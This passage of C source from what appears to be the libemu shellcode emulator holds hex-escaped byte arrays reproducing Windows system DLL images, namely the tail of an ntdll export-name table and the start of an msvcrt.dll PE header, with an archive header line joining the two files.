"\x72\x6D\x61\x74\x69\x6F\x6E\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77" //rmationObject.Zw /* 012480 */ "\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x72" //SetInformationPr /* 0124A0 */ "\x6F\x63\x65\x73\x73\x00\x5A\x77\x53\x65\x74\x49\x6E\x66\x6F\x72" //ocess.ZwSetInfor /* 0124C0 */ "\x6D\x61\x74\x69\x6F\x6E\x54\x68\x72\x65\x61\x64\x00\x5A\x77\x53" //mationThread.ZwS /* 0124E0 */ "\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x54\x6F\x6B" //etInformationTok /* 012500 */ "\x65\x6E\x00\x5A\x77\x53\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C" //en.ZwSetInterval /* 012520 */ "\x50\x72\x6F\x66\x69\x6C\x65\x00\x5A\x77\x53\x65\x74\x49\x6F\x43" //Profile.ZwSetIoC /* 012540 */ "\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x5A\x77\x53\x65\x74\x4C" //ompletion.ZwSetL /* 012560 */ "\x64\x74\x45\x6E\x74\x72\x69\x65\x73\x00\x5A\x77\x53\x65\x74\x4C" //dtEntries.ZwSetL /* 012580 */ "\x6F\x77\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x5A\x77\x53\x65" //owEventPair.ZwSe /* 0125A0 */ "\x74\x4C\x6F\x77\x57\x61\x69\x74\x48\x69\x67\x68\x45\x76\x65\x6E" //tLowWaitHighEven /* 0125C0 */ "\x74\x50\x61\x69\x72\x00\x5A\x77\x53\x65\x74\x51\x75\x6F\x74\x61" //tPair.ZwSetQuota /* 0125E0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00" //InformationFile. /* 012600 */ "\x5A\x77\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A" //ZwSetSecurityObj /* 012620 */ "\x65\x63\x74\x00\x5A\x77\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x45" //ect.ZwSetSystemE /* 012640 */ "\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65\x00" //nvironmentValue. /* 012660 */ "\x5A\x77\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x45\x6E\x76\x69\x72" //ZwSetSystemEnvir /* 012680 */ "\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65\x45\x78\x00\x5A\x77" //onmentValueEx.Zw /* 0126A0 */ "\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x49\x6E\x66\x6F\x72\x6D\x61" //SetSystemInforma /* 0126C0 */ "\x74\x69\x6F\x6E\x00\x5A\x77\x53\x65\x74\x53\x79\x73\x74\x65\x6D" //tion.ZwSetSystem /* 0126E0 */ "\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x5A\x77\x53\x65\x74" //PowerState.ZwSet /* 012700 */ "\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x5A\x77\x53\x65\x74" //SystemTime.ZwSet /* 012720 */ "\x54\x68\x72\x65\x61\x64\x45\x78\x65\x63\x75\x74\x69\x6F\x6E\x53" //ThreadExecutionS /* 012740 */ "\x74\x61\x74\x65\x00\x5A\x77\x53\x65\x74\x54\x69\x6D\x65\x72\x00" //tate.ZwSetTimer. /* 012760 */ "\x5A\x77\x53\x65\x74\x54\x69\x6D\x65\x72\x52\x65\x73\x6F\x6C\x75" //ZwSetTimerResolu /* 012780 */ "\x74\x69\x6F\x6E\x00\x5A\x77\x53\x65\x74\x55\x75\x69\x64\x53\x65" //tion.ZwSetUuidSe /* 0127A0 */ "\x65\x64\x00\x5A\x77\x53\x65\x74\x56\x61\x6C\x75\x65\x4B\x65\x79" //ed.ZwSetValueKey /* 0127C0 */ "\x00\x5A\x77\x53\x65\x74\x56\x6F\x6C\x75\x6D\x65\x49\x6E\x66\x6F" //.ZwSetVolumeInfo /* 0127E0 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x5A\x77\x53\x68" //rmationFile.ZwSh /* 012800 */ "\x75\x74\x64\x6F\x77\x6E\x53\x79\x73\x74\x65\x6D\x00\x5A\x77\x53" //utdownSystem.ZwS /* 012820 */ "\x69\x67\x6E\x61\x6C\x41\x6E\x64\x57\x61\x69\x74\x46\x6F\x72\x53" //ignalAndWaitForS /* 012840 */ "\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x53\x74" //ingleObject.ZwSt /* 012860 */ "\x61\x72\x74\x50\x72\x6F\x66\x69\x6C\x65\x00\x5A\x77\x53\x74\x6F" //artProfile.ZwSto /* 012880 */ "\x70\x50\x72\x6F\x66\x69\x6C\x65\x00\x5A\x77\x53\x75\x73\x70\x65" //pProfile.ZwSuspe /* 0128A0 */ "\x6E\x64\x50\x72\x6F\x63\x65\x73\x73\x00\x5A\x77\x53\x75\x73\x70" //ndProcess.ZwSusp /* 0128C0 */ "\x65\x6E\x64\x54\x68\x72\x65\x61\x64\x00\x5A\x77\x53\x79\x73\x74" //endThread.ZwSyst /* 0128E0 */ "\x65\x6D\x44\x65\x62\x75\x67\x43\x6F\x6E\x74\x72\x6F\x6C\x00\x5A" //emDebugControl.Z /* 012900 */ "\x77\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x4A\x6F\x62\x4F\x62\x6A" //wTerminateJobObj /* 012920 */ "\x65\x63\x74\x00\x5A\x77\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x50" //ect.ZwTerminateP /* 012940 */ "\x72\x6F\x63\x65\x73\x73\x00\x5A\x77\x54\x65\x72\x6D\x69\x6E\x61" //rocess.ZwTermina /* 012960 */ "\x74\x65\x54\x68\x72\x65\x61\x64\x00\x5A\x77\x54\x65\x73\x74\x41" //teThread.ZwTestA /* 012980 */ "\x6C\x65\x72\x74\x00\x5A\x77\x54\x72\x61\x63\x65\x45\x76\x65\x6E" //lert.ZwTraceEven /* 0129A0 */ "\x74\x00\x5A\x77\x54\x72\x61\x6E\x73\x6C\x61\x74\x65\x46\x69\x6C" //t.ZwTranslateFil /* 0129C0 */ "\x65\x50\x61\x74\x68\x00\x5A\x77\x55\x6E\x6C\x6F\x61\x64\x44\x72" //ePath.ZwUnloadDr /* 0129E0 */ "\x69\x76\x65\x72\x00\x5A\x77\x55\x6E\x6C\x6F\x61\x64\x4B\x65\x79" //iver.ZwUnloadKey /* 012A00 */ "\x00\x5A\x77\x55\x6E\x6C\x6F\x61\x64\x4B\x65\x79\x45\x78\x00\x5A" //.ZwUnloadKeyEx.Z /* 012A20 */ "\x77\x55\x6E\x6C\x6F\x63\x6B\x46\x69\x6C\x65\x00\x5A\x77\x55\x6E" //wUnlockFile.ZwUn /* 012A40 */ "\x6C\x6F\x63\x6B\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F\x72" //lockVirtualMemor /* 012A60 */ "\x79\x00\x5A\x77\x55\x6E\x6D\x61\x70\x56\x69\x65\x77\x4F\x66\x53" //y.ZwUnmapViewOfS /* 012A80 */ "\x65\x63\x74\x69\x6F\x6E\x00\x5A\x77\x56\x64\x6D\x43\x6F\x6E\x74" //ection.ZwVdmCont /* 012AA0 */ "\x72\x6F\x6C\x00\x5A\x77\x57\x61\x69\x74\x46\x6F\x72\x44\x65\x62" //rol.ZwWaitForDeb /* 012AC0 */ "\x75\x67\x45\x76\x65\x6E\x74\x00\x5A\x77\x57\x61\x69\x74\x46\x6F" //ugEvent.ZwWaitFo /* 012AE0 */ "\x72\x4B\x65\x79\x65\x64\x45\x76\x65\x6E\x74\x00\x5A\x77\x57\x61" //rKeyedEvent.ZwWa /* 012B00 */ "\x69\x74\x46\x6F\x72\x4D\x75\x6C\x74\x69\x70\x6C\x65\x4F\x62\x6A" //itForMultipleObj /* 012B20 */ "\x65\x63\x74\x73\x00\x5A\x77\x57\x61\x69\x74\x46\x6F\x72\x53\x69" //ects.ZwWaitForSi /* 012B40 */ "\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x57\x61\x69" //ngleObject.ZwWai /* 012B60 */ "\x74\x48\x69\x67\x68\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x5A" //tHighEventPair.Z /* 012B80 */ "\x77\x57\x61\x69\x74\x4C\x6F\x77\x45\x76\x65\x6E\x74\x50\x61\x69" //wWaitLowEventPai /* 012BA0 */ "\x72\x00\x5A\x77\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x00\x5A\x77" //r.ZwWriteFile.Zw /* 012BC0 */ "\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x47\x61\x74\x68\x65\x72\x00" //WriteFileGather. /* 012BE0 */ "\x5A\x77\x57\x72\x69\x74\x65\x52\x65\x71\x75\x65\x73\x74\x44\x61" //ZwWriteRequestDa /* 012C00 */ "\x74\x61\x00\x5A\x77\x57\x72\x69\x74\x65\x56\x69\x72\x74\x75\x61" //ta.ZwWriteVirtua /* 012C20 */ "\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x5A\x77\x59\x69\x65\x6C\x64\x45" //lMemory.ZwYieldE /* 012C40 */ "\x78\x65\x63\x75\x74\x69\x6F\x6E\x00\x5F\x43\x49\x63\x6F\x73\x00" //xecution._CIcos. /* 012C60 */ "\x5F\x43\x49\x6C\x6F\x67\x00\x5F\x43\x49\x70\x6F\x77\x00\x5F\x43" //_CIlog._CIpow._C /* 012C80 */ "\x49\x73\x69\x6E\x00\x5F\x43\x49\x73\x71\x72\x74\x00\x5F\x5F\x69" //Isin._CIsqrt.__i /* 012CA0 */ "\x73\x61\x73\x63\x69\x69\x00\x5F\x5F\x69\x73\x63\x73\x79\x6D\x00" //sascii.__iscsym. /* 012CC0 */ "\x5F\x5F\x69\x73\x63\x73\x79\x6D\x66\x00\x5F\x5F\x74\x6F\x61\x73" //__iscsymf.__toas /* 012CE0 */ "\x63\x69\x69\x00\x5F\x61\x6C\x6C\x64\x69\x76\x00\x5F\x61\x6C\x6C" //cii._alldiv._all /* 012D00 */ "\x64\x76\x72\x6D\x00\x5F\x61\x6C\x6C\x6D\x75\x6C\x00\x5F\x61\x6C" //dvrm._allmul._al /* 012D20 */ "\x6C\x6F\x63\x61\x5F\x70\x72\x6F\x62\x65\x00\x5F\x61\x6C\x6C\x72" //loca_probe._allr /* 012D40 */ "\x65\x6D\x00\x5F\x61\x6C\x6C\x73\x68\x6C\x00\x5F\x61\x6C\x6C\x73" //em._allshl._alls /* 012D60 */ "\x68\x72\x00\x5F\x61\x74\x6F\x69\x36\x34\x00\x5F\x61\x75\x6C\x6C" //hr._atoi64._aull /* 012D80 */ "\x64\x69\x76\x00\x5F\x61\x75\x6C\x6C\x64\x76\x72\x6D\x00\x5F\x61" //div._aulldvrm._a /* 012DA0 */ "\x75\x6C\x6C\x72\x65\x6D\x00\x5F\x61\x75\x6C\x6C\x73\x68\x72\x00" //ullrem._aullshr. /* 012DC0 */ "\x5F\x63\x68\x6B\x73\x74\x6B\x00\x5F\x66\x6C\x74\x75\x73\x65\x64" //_chkstk._fltused /* 012DE0 */ "\x00\x5F\x66\x74\x6F\x6C\x00\x5F\x69\x36\x34\x74\x6F\x61\x00\x5F" //._ftol._i64toa._ /* 012E00 */ "\x69\x36\x34\x74\x6F\x77\x00\x5F\x69\x74\x6F\x61\x00\x5F\x69\x74" //i64tow._itoa._it /* 012E20 */ "\x6F\x77\x00\x5F\x6C\x66\x69\x6E\x64\x00\x5F\x6C\x74\x6F\x61\x00" //ow._lfind._ltoa. /* 012E40 */ "\x5F\x6C\x74\x6F\x77\x00\x5F\x6D\x65\x6D\x63\x63\x70\x79\x00\x5F" //_ltow._memccpy._ /* 012E60 */ "\x6D\x65\x6D\x69\x63\x6D\x70\x00\x5F\x73\x6E\x70\x72\x69\x6E\x74" //memicmp._snprint /* 012E80 */ "\x66\x00\x5F\x73\x6E\x77\x70\x72\x69\x6E\x74\x66\x00\x5F\x73\x70" //f._snwprintf._sp /* 012EA0 */ "\x6C\x69\x74\x70\x61\x74\x68\x00\x5F\x73\x74\x72\x63\x6D\x70\x69" //litpath._strcmpi /* 012EC0 */ "\x00\x5F\x73\x74\x72\x69\x63\x6D\x70\x00\x5F\x73\x74\x72\x6C\x77" //._stricmp._strlw /* 012EE0 */ "\x72\x00\x5F\x73\x74\x72\x6E\x69\x63\x6D\x70\x00\x5F\x73\x74\x72" //r._strnicmp._str /* 012F00 */ "\x75\x70\x72\x00\x5F\x74\x6F\x6C\x6F\x77\x65\x72\x00\x5F\x74\x6F" //upr._tolower._to /* 012F20 */ "\x75\x70\x70\x65\x72\x00\x5F\x75\x69\x36\x34\x74\x6F\x61\x00\x5F" //upper._ui64toa._ /* 012F40 */ "\x75\x69\x36\x34\x74\x6F\x77\x00\x5F\x75\x6C\x74\x6F\x61\x00\x5F" //ui64tow._ultoa._ /* 012F60 */ "\x75\x6C\x74\x6F\x77\x00\x5F\x76\x73\x6E\x70\x72\x69\x6E\x74\x66" //ultow._vsnprintf /* 012F80 */ "\x00\x5F\x76\x73\x6E\x77\x70\x72\x69\x6E\x74\x66\x00\x5F\x77\x63" //._vsnwprintf._wc /* 012FA0 */ "\x73\x69\x63\x6D\x70\x00\x5F\x77\x63\x73\x6C\x77\x72\x00\x5F\x77" //sicmp._wcslwr._w /* 012FC0 */ "\x63\x73\x6E\x69\x63\x6D\x70\x00\x5F\x77\x63\x73\x75\x70\x72\x00" //csnicmp._wcsupr. /* 012FE0 */ "\x5F\x77\x74\x6F\x69\x00\x5F\x77\x74\x6F\x69\x36\x34\x00\x5F\x77" //_wtoi._wtoi64._w /* 013000 */ "\x74\x6F\x6C\x00\x61\x62\x73\x00\x61\x74\x61\x6E\x00\x61\x74\x6F" //tol.abs.atan.ato /* 013020 */ "\x69\x00\x61\x74\x6F\x6C\x00\x62\x73\x65\x61\x72\x63\x68\x00\x63" //i.atol.bsearch.c /* 013040 */ "\x65\x69\x6C\x00\x63\x6F\x73\x00\x66\x61\x62\x73\x00\x66\x6C\x6F" //eil.cos.fabs.flo /* 013060 */ "\x6F\x72\x00\x69\x73\x61\x6C\x6E\x75\x6D\x00\x69\x73\x61\x6C\x70" //or.isalnum.isalp /* 013080 */ "\x68\x61\x00\x69\x73\x63\x6E\x74\x72\x6C\x00\x69\x73\x64\x69\x67" //ha.iscntrl.isdig /* 0130A0 */ "\x69\x74\x00\x69\x73\x67\x72\x61\x70\x68\x00\x69\x73\x6C\x6F\x77" //it.isgraph.islow /* 0130C0 */ "\x65\x72\x00\x69\x73\x70\x72\x69\x6E\x74\x00\x69\x73\x70\x75\x6E" //er.isprint.ispun /* 0130E0 */ "\x63\x74\x00\x69\x73\x73\x70\x61\x63\x65\x00\x69\x73\x75\x70\x70" //ct.isspace.isupp /* 013100 */ "\x65\x72\x00\x69\x73\x77\x61\x6C\x70\x68\x61\x00\x69\x73\x77\x63" //er.iswalpha.iswc /* 013120 */ "\x74\x79\x70\x65\x00\x69\x73\x77\x64\x69\x67\x69\x74\x00\x69\x73" //type.iswdigit.is /* 013140 */ "\x77\x6C\x6F\x77\x65\x72\x00\x69\x73\x77\x73\x70\x61\x63\x65\x00" //wlower.iswspace. /* 013160 */ "\x69\x73\x77\x78\x64\x69\x67\x69\x74\x00\x69\x73\x78\x64\x69\x67" //iswxdigit.isxdig /* 013180 */ "\x69\x74\x00\x6C\x61\x62\x73\x00\x6C\x6F\x67\x00\x6D\x62\x73\x74" //it.labs.log.mbst /* 0131A0 */ "\x6F\x77\x63\x73\x00\x6D\x65\x6D\x63\x68\x72\x00\x6D\x65\x6D\x63" //owcs.memchr.memc /* 0131C0 */ "\x6D\x70\x00\x6D\x65\x6D\x63\x70\x79\x00\x6D\x65\x6D\x6D\x6F\x76" //mp.memcpy.memmov /* 0131E0 */ "\x65\x00\x6D\x65\x6D\x73\x65\x74\x00\x70\x6F\x77\x00\x71\x73\x6F" //e.memset.pow.qso /* 013200 */ "\x72\x74\x00\x73\x69\x6E\x00\x73\x70\x72\x69\x6E\x74\x66\x00\x73" //rt.sin.sprintf.s /* 013220 */ "\x71\x72\x74\x00\x73\x73\x63\x61\x6E\x66\x00\x73\x74\x72\x63\x61" //qrt.sscanf.strca /* 013240 */ "\x74\x00\x73\x74\x72\x63\x68\x72\x00\x73\x74\x72\x63\x6D\x70\x00" //t.strchr.strcmp. /* 013260 */ "\x73\x74\x72\x63\x70\x79\x00\x73\x74\x72\x63\x73\x70\x6E\x00\x73" //strcpy.strcspn.s /* 013280 */ "\x74\x72\x6C\x65\x6E\x00\x73\x74\x72\x6E\x63\x61\x74\x00\x73\x74" //trlen.strncat.st /* 0132A0 */ "\x72\x6E\x63\x6D\x70\x00\x73\x74\x72\x6E\x63\x70\x79\x00\x73\x74" //rncmp.strncpy.st /* 0132C0 */ "\x72\x70\x62\x72\x6B\x00\x73\x74\x72\x72\x63\x68\x72\x00\x73\x74" //rpbrk.strrchr.st /* 0132E0 */ "\x72\x73\x70\x6E\x00\x73\x74\x72\x73\x74\x72\x00\x73\x74\x72\x74" //rspn.strstr.strt /* 013300 */ "\x6F\x6C\x00\x73\x74\x72\x74\x6F\x75\x6C\x00\x73\x77\x70\x72\x69" //ol.strtoul.swpri /* 013320 */ "\x6E\x74\x66\x00\x74\x61\x6E\x00\x74\x6F\x6C\x6F\x77\x65\x72\x00" //ntf.tan.tolower. /* 013340 */ "\x74\x6F\x75\x70\x70\x65\x72\x00\x74\x6F\x77\x6C\x6F\x77\x65\x72" //toupper.towlower /* 013360 */ "\x00\x74\x6F\x77\x75\x70\x70\x65\x72\x00\x76\x44\x62\x67\x50\x72" //.towupper.vDbgPr /* 013380 */ "\x69\x6E\x74\x45\x78\x00\x76\x44\x62\x67\x50\x72\x69\x6E\x74\x45" //intEx.vDbgPrintE /* 0133A0 */ "\x78\x57\x69\x74\x68\x50\x72\x65\x66\x69\x78\x00\x76\x73\x70\x72" //xWithPrefix.vspr /* 0133C0 */ "\x69\x6E\x74\x66\x00\x77\x63\x73\x63\x61\x74\x00\x77\x63\x73\x63" //intf.wcscat.wcsc /* 0133E0 */ "\x68\x72\x00\x77\x63\x73\x63\x6D\x70\x00\x77\x63\x73\x63\x70\x79" //hr.wcscmp.wcscpy /* 013400 */ "\x00\x77\x63\x73\x63\x73\x70\x6E\x00\x77\x63\x73\x6C\x65\x6E\x00" //.wcscspn.wcslen. /* 013420 */ "\x77\x63\x73\x6E\x63\x61\x74\x00\x77\x63\x73\x6E\x63\x6D\x70\x00" //wcsncat.wcsncmp. /* 013440 */ "\x77\x63\x73\x6E\x63\x70\x79\x00\x77\x63\x73\x70\x62\x72\x6B\x00" //wcsncpy.wcspbrk. /* 013460 */ "\x77\x63\x73\x72\x63\x68\x72\x00\x77\x63\x73\x73\x70\x6E\x00\x77" //wcsrchr.wcsspn.w /* 013480 */ "\x63\x73\x73\x74\x72\x00\x77\x63\x73\x74\x6F\x6C\x00\x77\x63\x73" //csstr.wcstol.wcs /* 0134A0 */ "\x74\x6F\x6D\x62\x73\x00\x77\x63\x73\x74\x6F\x75\x6C\x00\xB8\x00" //tombs.wcstoul... /* 0134C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; libemu-0.2.0+git20120122+564/src/environment/win32/dlls/msvcrtdll.c0000644000175300017530000034471311706767213023270 0ustar dt-npbdt-npbconst char msvcrt_77be0000[]= /* 77BE0000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" // MZ.......ÿÿ.. /* 77BE0010 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" // ¸.......@....... /* 77BE0020 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 77BE0030 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00" // ............è... /* 77BE0040 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" // ..º..´.Í!¸.LÍ!Th /* 77BE0050 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" // is program canno /* 77BE0060 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" // t be run in DOS /* 77BE0070 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" // mode....$....... /* 77BE0080 */ "\x5B\x10\x54\x05\x1F\x71\x3A\x56\x1F\x71\x3A\x56\x1F\x71\x3A\x56" // [Tq:Vq:Vq:V /* 77BE0090 */ "\xDC\x7E\x67\x56\x1A\x71\x3A\x56\x1F\x71\x3B\x56\x82\x71\x3A\x56" // Ü~gVq:Vq;V‚q:V /* 77BE00A0 */ "\xDC\x7E\x5A\x56\x0B\x71\x3A\x56\xDC\x7E\x35\x56\x52\x71\x3A\x56" // Ü~ZV q:VÜ~5VRq:V /* 77BE00B0 */ "\xDC\x7E\x65\x56\x12\x73\x3A\x56\xDC\x7E\x66\x56\x1E\x71\x3A\x56" // Ü~eVs:VÜ~fVq:V /* 77BE00C0 */ "\xDC\x7E\x64\x56\x1E\x71\x3A\x56\xDC\x7E\x60\x56\x1E\x71\x3A\x56" // Ü~dVq:VÜ~`Vq:V /* 77BE00D0 */ "\x52\x69\x63\x68\x1F\x71\x3A\x56\x00\x00\x00\x00\x00\x00\x00\x00" // Richq:V........ /* 77BE00E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x04\x00" // /* 77BE00F0 */ "\x1E\x97\x10\x41\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x0E\x21" // /* 77BE0100 */ "\x0B\x01\x07\x0A\x00\xBE\x04\x00\x00\x9A\x00\x00\x00\x00\x00\x00" // /* 77BE0110 */ "\xA1\xF2\x00\x00\x00\x10\x00\x00\x00\xD0\x04\x00\x00\x00\xBE\x77" // /* 77BE0120 */ "\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x05\x00\x01\x00" // /* 77BE0130 */ "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x80\x05\x00\x00\x04\x00\x00" // /* 77BE0140 */ "\x40\xB6\x05\x00\x02\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00" // /* 77BE0150 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" // /* 77BE0160 */ "\xF0\x89\x04\x00\x26\x43\x00\x00\xE8\x7B\x04\x00\x3C\x00\x00\x00" // /* 77BE0170 */ "\x00\x40\x05\x00\xF0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE0180 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x05\x00\x9C\x2A\x00\x00" // /* 77BE0190 */ "\xC0\x12\x00\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE01A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE01B0 */ "\xE0\xB7\x00\x00\x40\x00\x00\x00\x80\x02\x00\x00\x38\x00\x00\x00" // /* 77BE01C0 */ "\x00\x10\x00\x00\x78\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE01D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE01E0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\x16\xBD\x04\x00\x00\x10\x00\x00" // /* 77BE01F0 */ "\x00\xBE\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE0200 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74\x61\x00\x00\x00" // /* 77BE0210 */ "\xC8\x67\x00\x00\x00\xD0\x04\x00\x00\x48\x00\x00\x00\xC2\x04\x00" // /* 77BE0220 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" // /* 77BE0230 */ "\x2E\x72\x73\x72\x63\x00\x00\x00\xF0\x03\x00\x00\x00\x40\x05\x00" // /* 77BE0240 */ "\x00\x04\x00\x00\x00\x0A\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE0250 */ "\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00" // /* 77BE0260 */ "\x74\x2D\x00\x00\x00\x50\x05\x00\x00\x2E\x00\x00\x00\x0E\x05\x00" // /* 77BE0270 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42" // /* 77BE0280 */ "\xD4\x96\x10\x41\x20\x00\x01\x00\xD4\x96\x10\x41\x2D\x00\x00\x00" // /* 77BE0290 */ "\xD4\x96\x10\x41\x2D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // /* 77BE02A0 */ "\x4B\x45\x52\x4E\x45\x4C\x33\x32\x2E\x64\x6C\x6C\x00\x4E\x54\x44" // KERNEL32.dll.NTD /* 77BE02B0 */ "\x4C\x4C\x2E\x44\x4C\x4C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // LL.DLL.......... const char msvcrt_77C28970[]= /* 77C28970 */ "\x6D\x65\x00\x00\x4B\x45\x52\x4E\x45\x4C\x33\x32\x2E\x64\x6C\x6C" // me..KERNEL32.dll /* 77C28980 */ "\x00\x00\x60\x02\x52\x74\x6C\x47\x65\x74\x4E\x74\x56\x65\x72\x73" // ..`RtlGetNtVers /* 77C28990 */ "\x69\x6F\x6E\x4E\x75\x6D\x62\x65\x72\x73\x00\x00\x6E\x74\x64\x6C" // ionNumbers..ntdl /* 77C289A0 */ "\x6C\x2E\x64\x6C\x6C\x00\x91\x02\x51\x75\x65\x72\x79\x50\x65\x72" // l.dll.‘QueryPer /* 77C289B0 */ "\x66\x6F\x72\x6D\x61\x6E\x63\x65\x43\x6F\x75\x6E\x74\x65\x72\x00" // formanceCounter. /* 77C289C0 */ "\xD1\x01\x47\x65\x74\x54\x69\x63\x6B\x43\x6F\x75\x6E\x74\x00\x00" // ÑGetTickCount.. /* 77C289D0 */ "\x46\x03\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x50\x72\x6F\x63\x65" // FTerminateProce /* 77C289E0 */ "\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ss.............. /* 77C289F0 */ "\x00\x00\x00\x00\xDD\x75\x10\x41\x00\x00\x00\x00\x84\xAA\x04\x00" // ....ÝuA....„ª. /* 77C28A00 */ "\x01\x00\x00\x00\x3E\x03\x00\x00\x3E\x03\x00\x00\x18\x8A\x04\x00" // ...>..>..Š. /* 77C28A10 */ "\x10\x97\x04\x00\x08\xA4\x04\x00\x4B\x16\x01\x00\x29\x16\x01\x00" // —.¤.K.). /* 77C28A20 */ "\xC2\x15\x01\x00\xC2\x15\x01\x00\x90\x15\x01\x00\x6D\x15\x01\x00" // Â.Â..m. /* 77C28A30 */ "\x07\x16\x01\x00\xE4\x15\x01\x00\x98\x14\x01\x00\xE7\x14\x01\x00" // .ä.˜.ç. /* 77C28A40 */ "\x82\x14\x01\x00\x6D\x16\x01\x00\xB2\x15\x01\x00\x6D\x16\x01\x00" // ‚.m.².m. /* 77C28A50 */ "\x40\x15\x01\x00\x68\x18\x01\x00\xC5\x9C\x01\x00\xDD\x9C\x01\x00" // @.h.Ŝ.ݜ. /* 77C28A60 */ "\x4C\x18\x01\x00\x30\x18\x01\x00\x30\x18\x01\x00\x08\x18\x01\x00" // L.0.0.. /* 77C28A70 */ "\x98\x18\x01\x00\xE1\x18\x01\x00\xF8\x13\x00\x00\xE0\x13\x00\x00" // ˜.á.ø..à.. /* 77C28A80 */ "\xEC\x13\x00\x00\xC0\x13\x00\x00\x8F\x17\x01\x00\x2C\x17\x01\x00" // ì..À...,. /* 77C28A90 */ "\x8F\x17\x01\x00\xA3\x16\x01\x00\xF6\x16\x01\x00\x7F\x17\x01\x00" // .£.ö.. /* 77C28AA0 */ "\xE2\x17\x01\x00\x06\x17\x01\x00\xE2\x17\x01\x00\x7D\x16\x01\x00" // â..â.}. /* 77C28AB0 */ "\xED\x9C\x01\x00\xFD\x9C\x01\x00\xB1\x1B\x01\x00\x3B\x9D\x01\x00" // íœ.ýœ.±.;. /* 77C28AC0 */ "\x94\x9D\x01\x00\x0D\x9D\x01\x00\x6C\x9D\x01\x00\xAD\x25\x01\x00" // ”...l.­%. /* 77C28AD0 */ "\x2A\x19\x01\x00\xD0\x25\x01\x00\x73\x19\x01\x00\x9F\x9D\x01\x00" // *.Ð%.s.Ÿ. /* 77C28AE0 */ "\x67\x25\x01\x00\x8A\x25\x01\x00\x6D\x26\x01\x00\xA7\x26\x01\x00" // g%.Š%.m&.§&. /* 77C28AF0 */ "\x5B\x15\x01\x00\xED\xB2\x03\x00\x40\xCA\x03\x00\x10\xCB\x03\x00" // [.í².@Ê.Ë. /* 77C28B00 */ "\x20\xCC\x03\x00\x0A\xCD\x03\x00\x20\xCD\x03\x00\x02\xCE\x03\x00" // Ì..Í. Í.Î. /* 77C28B10 */ 